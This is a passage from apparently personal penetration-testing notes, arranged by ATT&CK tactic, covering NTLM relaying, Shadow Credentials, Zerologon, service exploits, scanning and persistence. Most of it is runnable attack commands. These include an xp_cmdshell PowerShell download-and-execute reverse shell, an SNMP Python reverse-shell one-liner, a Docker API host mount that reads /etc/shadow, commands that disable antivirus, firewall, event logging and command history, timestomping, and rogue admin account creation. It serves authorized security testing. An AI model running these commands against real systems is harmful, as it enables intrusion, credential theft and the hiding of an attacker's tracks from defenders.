A list can also easily be created with [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec):

```bash
crackmapexec smb $subnet --gen-relay-list 
```

#### Nmap

Nmap can also create a list of hosts that have SMB Signing Disabled:

```bash
nmap --script=smb-security-mode -p445 $ip
```

### SMB Relaying 101

After confirming LLMNR/NBT-NS traffic and identifying systems with SMB Signing Disabled, we are ready to perform the attack. First, we need modify the `Responder.conf` file and disable both SMB and HTTP:

```python
# responder.conf

SQL = On
SMB = Off    
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On
```

We can then run Responder:

```bash
responder -I eth0 -dwP
```

We can then run `ntlmrelayx.py` from Impacket, supplying our file of hosts previously identified to have SMB Signing Disabled.

```bash
# Example generic relaying
python3 ntlmrelayx.py -tf smbdisabled.out --smb2support

# Save hashes from relaying locally
python3 ntlmrelayx.py -tf smbdisabled.out --smb2support -of
```

#### Relaying with SOCKS

We can also enable SOCKS support while relaying for interactive sessions. Using this flag will also provide you with a session on the host if the user is not a local administrator:

```bash
python3 ntlmrelayx.py -tf smbdisabled.out --smb2support --socks
```

### References

{% embed url="<https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html>" %}

{% embed url="<https://luemmelsec.github.io/Relaying-101/#ntlm-downgrade-attack>" %}

{% embed url="<https://en.hackndo.com/ntlm-relay>" %}

{% embed url="<https://docs.microsoft.com/en-us/archive/blogs/josebda/the-basics-of-smb-signing-covering-both-smb1-and-smb2>" %}

{% embed url="<https://aas-s3curity.gitbook.io/cheatsheet/internalpentest/active-directory/exploitation/exploit-without-account/smb-relay>" %}

{% embed url="<https://www.secureauth.com/blog/playing-with-relayed-credentials/>" %}


# Shadow Credentials

Before jumping into exploiting Shadow Credentials, I highly recommend reading the [article from SpecterOps](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) on shadow credentials.&#x20;

### **Prerequisites**&#x20;

There are three prerequisites for this attack to be performed:

* The ability to write to the `msDS-KeyCredentialLink` attribute on the target.&#x20;
* [AD CS must be configured.](/pentesting/infrastructure/active-directory/ad-cs)
* A DC on the domain must be configured to support PKINIT.&#x20;

### Exploitation

After identifying a user account or machine account where the `msDS-KeyCredentialLink` attribute can be written to, [Whisker](https://github.com/eladshamir/Whisker) can be used to essentially automate the exploitation from a Windows machine:

```bash
# Generic usage of Whisker
Whisker.exe add /target:parzival

## https://github.com/ShutdownRepo/pywhisker
# Generic usage of PyWhisker
pywhisker.py -d $domain -u $user -p $password --target $target --action "list"x
```

Following running Whisker, it will provide a Rubeus command that can be executed in order to pull the targets TGT or NTLM hash.&#x20;

### Relaying

Ntlmrelayx also supports exploiting shadow credentials and can be used as follows:

```bash
# Relaying will work against either LDAP or LDAPS

# LDAPS
ntlmrelayx -t ldaps://parz-dc1 --shadow-credentials --shadow-target 'parz-dc2'

# LDAP
ntlmrelayx -t ldap://parz-dc1 --shadow-credentials --shadow-target 'parz-dc2'

## Failing to specify the --shadow-target will attempt to obtain a hash for the relayed user. 
ntlmrelayx -t ldap://parz-dc1 --shadow-credentials
```

### References

{% embed url="<https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials>" %}

{% embed url="<https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab>" %}

{% embed url="<https://pentestlab.blog/2022/02/07/shadow-credentials/>" %}


# Zerologon

Zerologon (CVE-2020-1472) should only be exploited if you are aware of the consequences. Exploitation will result in the domain controller machine password being changed and will break domain replication if not restored to the original setting.&#x20;

### Checking for Zerologon&#x20;

```bash
# Checking exploitability CrackMapExec
crackmapexec $ip smb -u $username -p $password -M zerologon

# Checking exploitability with Metasploit
use auxiliary/dmin/dcerpc/cve_2020_1472_zerologon
set rhosts $ip
check

# https://github.com/SecuraBV/CVE-2020-1472
./zerologon_tester.py $dcnetbiosname $ip
```

### Exploiting Zerologon

{% embed url="<https://github.com/dirkjanm/CVE-2020-1472>" %}

### References

{% embed url="<https://www.crowdstrike.com/blog/cve-2020-1472-zerologon-security-advisory/>" %}

{% embed url="<https://www.sprocketsecurity.com/resources/how-to-exploit-zerologon>" %}


# Database Management System (DBMS)


# Microsoft SQL Server

Obtaining a shell after obtaining credentials to a Microsoft SQL Server.

```bash
# Connect to the Microsoft SQL Server using Impacekt's mssqlclient.py:
python3 mssqlclient.py sa@$ip

# Configure xp_cmdshell to be enabled:
sp_configure 'xp_cmdshell', '1'; RECONFIGURE

# Enable code execution using xp_cmdshell:
enable_xp_cmdshell 

# Example of obtaining a reverse shell:
xp_cmdshell powershell IEX(New-Object Net.webclient).downloadString(\"http://$ip:8080/revshell.ps1\")
```


# Defense Evasion

MITRE ATT\&CK, Defense Evasion, ID TA0005


# Disable or Modify Tools

MITRE ATT\&CK, Defense Evasion, Sub-technique T1562.001

### Methods

```powershell
# Disable real-time monitoring for Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true

# Disable Windows firewall
netsh advfirewall set allprofiles state off

# Manually disable antivirus 
taskkill /F /IM avprocess.exe

# Stop an antivirus service
net stop "$service_name"

# Disable a Windows service
sc config "service name" start= disabled
```

#### Disable Antivirus via the GUI

Non-administrative users are sometimes able to disable or create an exception for the antivirus running on the host via the GUI. If the target has one of these then you can either right click the icon in the task bar and disable it or manually open the GUI and disable it in settings.


# Disable Windows Event Logging

MITRE ATT\&CK, Defense Evasion, Sub-technique T1562.002

Disabling Windows event logging allows for an attacker to operate on a compromised host while leaving minimal evidence behind.&#x20;

### Methods

```powershell
# Disable the EventLog service with PowerShell:
Stop-Service -Name EventLog

# Disable auditing for the Account Logon category:
auditpol /set /category:"Account Logon" /success:disable /failure:disable

# Clear the audit policy
auditpol /clear /y
auditpol /remove /allusers

# Disable Sysmon
## https://twitter.com/_batsec_/status/1327386867365457920?s=20&t=rMzsQI6ENH2SYVVaTYTqAA
logman stop EventLog-Microsoft-Windows-Sysmon-Operational -ets
```

### Tools

{% embed url="<https://github.com/hlldz/Phant0m>" %}

### References

{% embed url="<https://attack.mitre.org/techniques/T1562/002/>" %}


# Impair Command History Logging

MITRE ATT\&CK, Defense Evasion, Sub-technique T1562.003

Impairing command history logging allows for an attacker to operate on a compromised host while leaving minimal evidence behind.&#x20;

### Methods for Linux and MacOS

#### Clearing the HISTFILE

```bash
# Clear the command history variable
unset HISTFILE

# Set the command history size to zero
export HISTFILESIZE=0

# Configure the HISTCONTROL variable to ignore commands that begin with a space. 
HISTCONTROL=ignoreboth
```

### Methods for Windows

```powershell
# Disable the PSReadLine module
Set-PSReadlineOption -HistorySaveStyle SaveNothing

# Modify where logs are stored
Set-PSReadLineOption -HistorySavePath {File Path}
```

### References

{% embed url="<https://attack.mitre.org/techniques/T1562/003/>" %}


# Timestomping

> Timestomping refers to **the alteration of timestamps of a file on an NTFS file system**. This tactic is commonly utilized by threat actors to hide their tools on the victim's file system.

### Timestomping Windows

One of the easiest ways to Timestomp on Windows is to use [nTimetools](https://github.com/limbenjamin/nTimetools):

```bash
# Check the original time
.\nTimeView C:\program.exe

# Forge a creation time/date
.\nTimeStomp.exe -F C:\program.exe -A "2022-09-17 12:18:43.0000001" -C "2022-09-17 12:18:43.0000001"
```

### Timestomping Linux

We can simply use the `touch` command in Linux to modify timestamps:

```bash
# Generic usage
touch -a -t 197001010000.00 $targetfile

# Match a referenced files timestamps
touch -acmr $referencedfile $targetfile
```

### References

{% embed url="<https://attack.mitre.org/techniques/T1070/006/>" %}

{% embed url="<https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md>" %}


# Low-Hanging Fruit

Easy ways to get a shell

## Services

### Adobe ColdFusion BlazeDS

**Ports:** 8080\
**Exploit:**

{% embed url="<https://www.tenable.com/plugins/nessus/99731>" %}

{% embed url="<https://www.exploit-db.com/exploits/43993>" %}

### Apache Flink

**Ports:** 5000\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/exploit/multi/http/apache_flink_jar_upload_exec>" %}

{% embed url="<https://www.rapid7.com/db/modules/auxiliary/scanner/http/apache_flink_jobmanager_traversal>" %}

{% embed url="<https://www.exploit-db.com/exploits/48978>" %}

### Apache Hadoop

**Ports:** 8088\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/exploit/linux/http/hadoop_unauth_exec>" %}

{% embed url="<https://github.com/vulhub/vulhub/blob/master/hadoop/unauthorized-yarn/exploit.py>" %}

### Apache Solr

**Ports:** 8983\
**Exploit:**

{% embed url="<https://github.com/jas502n/solr_rce>" %}

{% embed url="<https://github.com/Imanfeng/Apache-Solr-RCE>" %}

### Apache Spark

**Ports:** 6066\
**Exploit:**

{% embed url="<https://github.com/ivanitlearning/CVE-2018-11770>" %}

{% embed url="<https://www.rapid7.com/db/modules/exploit/linux/http/spark_unauth_rce>" %}

### Atlassian Crowd

**Ports:** 4990\
**Exploit:**

```bash
curl -k -H "Content-Type: multipart/mixed" \ --form "file_cdl=@rce.jar" http://[HOST]:4990/crowd/admin/uploadplugin.action
```

{% embed url="<https://packetstormsecurity.com/files/163810/Atlassian-Crowd-pdkinstall-Remote-Code-Execution.html>" %}

### Cisco Smart Install

**Ports:** 4786\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/auxiliary/scanner/misc/cisco_smart_install>" %}

{% embed url="<https://github.com/frostbits-security/SIET>" %}

### Cisco Unified Communications Manager

**Ports:** 6970\
**Exploit:**

```bash
curl http://[CUCM IP Address]:6970/ConfigFileCacheList.txt
```

{% embed url="<https://github.com/trustedsec/SeeYouCM-Thief>" %}

### Dameware

**Ports:** 6129\
**Exploit:**

{% embed url="<https://www.tenable.com/security/research/tra-2019-43>" %}

{% embed url="<https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcs_dwDrvInst_rce.py>" %}

### Dell iDrac&#x20;

**Ports:** 443

**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/auxiliary/scanner/http/dell_idrac>" %}

### Docker API

**Ports:** 2375\
**Exploit:**

```bash
docker -H [host]:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
```

* File Access: `cat /mnt/etc/shadow`
* Remote Code Execution: `chroot /mnt`

### GlassFish

**Ports:** 4848\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/auxiliary/scanner/http/glassfish_traversal>" %}

### Hashicorp Consul

**Ports:** 8500\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/exploit/multi/misc/consul_service_exec>" %}

### HP Data Protector

**Ports:** 5555, 5556\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/exploit/multi/misc/hp_data_protector_exec_integutil>" %}

{% embed url="<https://www.rapid7.com/db/modules/exploit/windows/misc/hp_dataprotector_cmd_exec>" %}

### HP iLO

**Ports:** 80, 443

**Exploit:**

{% embed url="<https://github.com/skelsec/CVE-2017-12542/blob/master/exploit_1.py>" %}

### IBM Websphere

**Ports:** 8880\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/exploit/windows/misc/ibm_websphere_java_deserialize>" %}

### IPMI

**Ports:** 623\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_version>" %}

{% embed url="<https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_dumphashes>" %}

{% embed url="<https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero>" %}

### Java RMI

**Ports:** 1090, 1098, 1099, 4444, 11099, 47001, 47002, 10999\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/exploit/multi/misc/java_rmi_server>" %}

{% embed url="<https://itnext.io/java-rmi-for-pentesters-structure-recon-and-communication-non-jmx-registries-a10d5c996a79>" %}

{% embed url="<https://itnext.io/java-rmi-for-pentesters-part-two-reconnaissance-attack-against-non-jmx-registries-187a6561314d>" %}

### JBoss

**Ports:** 4444, 4445, 11111\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/auxiliary/scanner/http/jboss_vulnscan>" %}

{% embed url="<https://github.com/joaomatosf/jexboss>" %}

### JDWP

**Ports:** 5005 - 5009, 45000, 45001\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/exploit/multi/misc/java_jdwp_debugger>" %}

{% embed url="<https://github.com/IOActive/jdwp-shellifier>" %}

### JMX

**Ports:** 8686, 9012, 50500\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/exploit/multi/misc/java_jmx_server>" %}

### MS17-010: Eternal Blue

**Ports** 139, 445

**Exploit:**

```bash
nmap -Pn -sV --script smb-vuln-ms17-010 -p139,445 $ip 
```

{% embed url="<https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/>" %}

### Portainer

**Ports:** 9000\
**Exploit:**

{% embed url="<https://github.com/MauroEldritch/PAZUZU>" %}

{% embed url="<https://github.com/MauroEldritch/lempo>" %}

### PrintNightmare

```bash
crackmapexec smb $host_file -u $username -p $password -M spooler
```

{% embed url="<https://github.com/cube0x0/CVE-2021-1675>" %}

### Redis

**Ports:** 6379\
**Exploit:**

{% embed url="<https://www.rapid7.com/db/modules/exploit/linux/redis/redis_replication_cmd_exec>" %}

{% embed url="<https://www.rapid7.com/db/modules/exploit/linux/redis/redis_unauth_exec>" %}

### SAP

**Ports:** 3300\
**Exploit:**

{% embed url="<https://github.com/chipik/SAP_GW_RCE_exploit>" %}

### WebLogic

**Ports:** 7000-7004, 7070, 7071, 8000-8003, 9000-9003, 9503\
**Exploit:**

{% embed url="<https://www.exploit-db.com/search?q=weblogic>" %}

### Zoho Manageengine Desktop

**Ports:** 8383\
**Exploit:**

{% embed url="<https://srcincite.io/pocs/src-2020-0011.py.txt>" %}

### References

{% embed url="<https://github.com/trustedsec/spoonmap>" %}

{% embed url="<https://twitter.com/ptswarm/status/1354417582070247426>" %}


# Networks


# IPv6

### Attacking IPv6

While a majority of companies do not utilize IPv6, little know that it is actually enabled by default. By using a tool such as mitm6, we can act as a malicious DNS server and redirect traffic to our attack host. This attack can be performed by using the tool [mitm6](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/).&#x20;

The following command demonstrates basic usage of IPv6:

```bash
sudo mitm6 -d $domain
```

Additionally, the following command demonstrates running mitm6 with the `--ignore-nofqnd` flag which will ignore DHCPv6 queries that do not contain the Fully Qualfiied Domain Name:

```bash
sudo mitm6 -d $domain --ignore-nofqnd
```

{% hint style="info" %}
If the testing machine was provisioned in ESXi, the following setting needs to be modified via the web console:\
\
`Networking -> VM Network -> Edit Settings -> Promiscuous Mode: Accept`\
\
MITM6 can then be run from the attack machine with the `--no-ra` flag.&#x20;
{% endhint %}

### References

{% embed url="<https://blog.vonahi.io/taking-over-ipv6-networks/>" %}

{% embed url="<https://blog.zsec.uk/ipv6-pwn/>" %}


# LLMNR/NBT-NS Poisoning

Responder is the go-to tool for poisoning LLMNR, NBT-NS, and mDNS requests. NBT-NS, LLMNR and mDNS can broadcast queries to the entire network, but no measures are taken to verify the responses. As an attacker, we can exploit this by listening to the queries, spoofing the response, and then obtaining to the account being used to authenticate.&#x20;

{% embed url="<https://github.com/lgandx/Responder>" %}

### Usage

I always recommend running Responder in Analyze mode to begin your assessment. This will help identify DNS replacement protocols such as LLMNR and NBT-NS. Additionally, we can still capture hashes in Analyze mode, an example of this would be when a client has a 'network spider' for patch management.&#x20;

Run Responder in Analyze mode first to observe traffic on the network:

```bash
responder -I eth0 -A
```

After identifying the protocols, we can rerun Responder with the parameters to poison:

```bash
responder -I eth0 -dwP
```

### Output In-scope Hosts from Responder

Recently on a penetration test I had a request from a client to be provided with only "In-Scope" hosts that were in the Responder-logs. This is because they wanted an actionable list of hosts to remediate for compliance rather than "your entire domain is rekt".&#x20;

If this is ever an ask, I found out a pretty easy way to grep out hosts from IPs within scope and provide this ask to a client:

Place the in-scope hosts into a file. For this example, it will be titled `InScopeHosts.txt`

```bash
> cat in-scope.out

127.0.0.1
127.0.0.2
127.0.0.3
```

If the client has provided a list in CIDR notation then break these into smaller lists via your choice of tool. Personally, I like using nmap:

```bash
nmap -sL -n 127.0.0.0/24 | awk '/Nmap scan report/{print $NF}’
```

Grep out the `Poisoners-Session log` to only IP Addresses:

```bash
cat Poisoners-Session.log | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’ > responder-ips.txt
```

Sort both files and place them into the appropriate directory.&#x20;

```bash
sort -u $file
```

Compare the two files using `comm`:

```bash
comm -12 sorted-poisoners-session sorted-responder-ips
```

### References

{% embed url="<https://www.cynet.com/attack-techniques-hands-on/llmnr-nbt-ns-poisoning-and-credential-access-using-responder>" %}

{% embed url="<https://www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022>" %}


# Network Scanning

MITRE ATT\&CK, Discovery, Technique T1046

### ARP Scanning

ARP is a protocol used to resolve a MAC address for the NIC that has been configured with an IP address. ARP requests are sent in cleartext, meaning that anyone on the broadcast domain can observe and record them. &#x20;

```bash
# Active scanning
arp-scan -I eth0 $subnet

# Passive reconaissance 
netdiscover -i eth0 -r $subnet -p
```

### Ping Sweep

```bash
# Perform a ping sweep with Nmap
nmap -sn $subnet/24 -oA PingSweepHosts

# Create a Live Hosts List
cat PingSweepHosts.gnmap | awk '/Up$/{print $2}' > LiveIPs.txt
```

### TCP Scanning

```bash
# Custom host discovery with Nmap
nmap -PS21-25,80,110,139,443,445,623,3306,3389,8000,8080,8081,etc $subnet/24 -oA DiscoveredHosts

# Variation of custom discovery scan with Nmap
sudo nmap -Pn -n -sS -p $customports --min-hostgroup 255 --min-rtt-timeout 0ms --max-rtt-timeout 100ms --max-retries 1 --max-scan-delay 0 --min-rate 2000 -oA nmap-discovery -vvv -open -iL $targetfile

# Custom full port scan
sudo nmap -Pn -n -p- -sV --min-hostgroup 255 --min-rtt-timeout 25ms --max-rtt-timeout 100ms --max-retries 1 --max-scan-delay 0 --min-rate 1000 -oA full-nmap -vvv --open -iL $targetfile

# Exclude hosts from scans with Nmap by specifying IPs
nmap -sV -F --exclude 127.0.0.2,127.0.0.4 127.0.0.1/24

# Exclude hosts from scans with Nmap by specifying file
nmap -sV -F --excludefile $file_name 127.0.0.1
```

#### Top 1000 TCP Ports <a href="#parsing-nmap-scans" id="parsing-nmap-scans"></a>

```bash
1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389
```

### Nmap <a href="#parsing-nmap-scans" id="parsing-nmap-scans"></a>

#### Parsing Nmap Scans <a href="#parsing-nmap-scans" id="parsing-nmap-scans"></a>

{% embed url="<https://github.com/leesoh/np>" %}

#### Useful NSE Scripts

The following NSE scripts  are not included with Nmap and should be manually added:

* [nndefaccts](https://github.com/nnposter/nndefaccts) - Alternate fingerprint dataset for Nmap script http-default-accounts
* [Nmap-Elasticsearch-NSE](https://github.com/theMiddleBlue/nmap-elasticsearch-nse) - Nmap NSE script for enumerating indices, plugins and cluster nodes on an elasticsearch target

#### Scanning for Default Credentials

```bash
nmap -iL scope.out --script=http-default-accounts,creds-summary -oA default_credential_sweep
```

### References

#### ARP Scanning

{% embed url="<http://edublog.bitcrack.net/2016/09/scanning-network-using-netdiscover-arp.html>" %}

{% embed url="<https://www.blackhillsinfosec.com/analyzing-arp-to-discover-exploit-stale-network-address-configurations/>" %}

#### Nmap

{% embed url="<https://github.com/leonjza/awesome-nmap-grep#hosts-and-open-ports>" %}


# Network Sniffing

MITRE ATT\&CK, Discovery, Technique T1040

### PCredz

[PCredz](https://github.com/lgandx/PCredz) is a tool developed by lgandx that can either live capture on an interface or parse a PCAP file to extract cleartext information such as logins via FTP, POP, HTTP, or SNMP Community Strings (and much more). Additionally, this tool will also extract credit card numbers which is perfect for PCI engagements.

```bash
# Installation
sudo apt install python3-pip && sudo apt-get install libpcap-dev && pip3 install Cython && pip3 install python-libpcap && git clone https://github.com/lgandx/PCredz

# Live capture with PCredz
sudo python3 Pcredz -i eth0 -v

# Parse a PCAP file with PCredz
python3 Pcredz -f NetworkCapture.pcap

# Parse a directory of PCAPs with PCredz
python3 Pcredz -d /tmp/PCAPs/
```

### TCPDump

```bash
# Capture eth0, all ports, and write to capture.pcap
sudo tcpdump -i eth0 -w capture.pcap
```

### References

#### TCPDump

{% embed url="<https://www.hackingarticles.in/comprehensive-guide-to-tcpdump-part-1/>" %}

{% embed url="<https://www.blackhillsinfosec.com/getting-started-with-tcpdump/>" %}


# Segmentation Testing

When performing segmentation tests for PCI compliance, there aside from my Nmap scans there are a few things I've wanted to keep jotted down. This section contains my notes.

Below are some basic commands to use while performing segmentation testing.\
It should be noted that these should be modified in order to be more thorough.&#x20;

#### &#x20;ICMP

```bash
nmap -sn $subnet -oA ICMP_Check
```

#### TCP

```bash
nmap -sS -Pn -p- $subnet -oA TCP_Scan 
```

#### UDP

```bash
nmap -sU -Pn --top-ports 1000 $subnet -oA UDP_Scan
```

#### IPv6

```bash
nmap -6 $ipv6address -oA IPv6_Scan
```

### Reporting

The following table is an example of how to report the results of a segmentation test:

| IP Address | Port | Protocol | Service |
| ---------- | ---- | -------- | ------- |
| 10.1.1.1   | 53   | tcp      | DNS     |
| 10.2.2.2   | 80   | tcp      | HTTP    |
| 10.3.3.3   | 445  | tcp      | SMB     |

### Notes

* When performing a segmentation test against FortiGate devices, port 113/TCP may appear against every host as: `closed`. This is not a firewall misconfiguration. [This documentation](https://kb.fortinet.com/kb/documentLink.do?externalID=FD48365) details more on this issue.
* When a port appears as `open|filtered` after performing a UDP scan, try running the following to verify if it is open:

```bash
nmap -sUC -p $port $ipaddress
```

{% hint style="warning" %}
Segmentation tests should note **all** open ports regardless of the business use case. If a business needs a port open, jusitifcation should be provided in the report.
{% endhint %}


# Simple Network Management Protocol (SNMP)

The SNMP protocol provides a way for devices on a network to share information with one another. As an attacker, we can sometimes leverage a misconfigured SNMP service to obtain detailed information about the system and/or execute arbitrary code.&#x20;

### Exploitation

#### Identifying SNMP on a Network

```bash
# Identify SNMP utilizing Nmap
nmap -sU -p161 $hosts 

# Identify SNMP and retrieve server type / operating system with Nmap
nmap -sU -p161 $hosts --script=snmp-sysdescr
```

#### Identifying Default Community Strings

```bash
# Identify Default Community Strings with Metasploit
auxiliary/scanner/snmp/snmp_login
```

#### Exploiting SNMP with Write Access

```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $targetip \ 
 'nsExtendStatus."evil"' = createAndGo \
 'nsExtendCommand."evil"' = /usr/bin/python \
 'nsExtendArgs."evil"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"$ip\",$port));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```

### References

{% embed url="<https://www.blackhillsinfosec.com/snmp-strings-attached/>" %}


# Subnet Enumeration

CrackMapExec enables us to extract subnet information from Active Directory assuming that we have the following:

* Valid credentials for the domain
* Can query LDAP

We can then use CrackMapExec's `subnets` module against the domain controller to return a list of subnets:

```bash
crackmapexec ldap $ip -d $domain -u $username -p $password -M subnets
```

### References

{% embed url="<https://podalirius.net/en/articles/active-directory-sites-and-subnets-enumeration/>" %}


# Identifying Domain Information

Some basic ways to locate domain information such as controllers during a penetration test. This can provide you with both attack targets, subnets, and information about the domain.&#x20;

#### Nmap

```bash
nmap --script dns-srv-enum --script-args "dns-srv-enum.domain='acme.local'"
```

#### Linux

```bash
cat /etc/resolv.conf
systemd-resolve --status | grep "DNS Servers"
host <domain_name>
```

#### Windows

```bash
nslookup <domain>
nltest /dclist:<domainname>
echo %logonserver%
ipconfig /all
```


# Persistence

MITRE ATT\&CK, Persistence, ID TA0003


# Create Account

MITRE ATT\&CK, Persistence, Technique T1136

### Local Account

After gaining administrator access to the system run the following command to create a local user account:&#x20;

```powershell
net user parzival password123 /add
```

We then have the option of adding this account to the local administrators group:

```bash
net localgroup administrators parzival /add
```

Finally, we can delete this account once it is no longer needed:

```bash
net user parzival /del
```

### Domain Account

After obtaining Domain Administrator access in an engagement I like to create a Domain Administrator account to perform all other post exploitation activities from.&#x20;

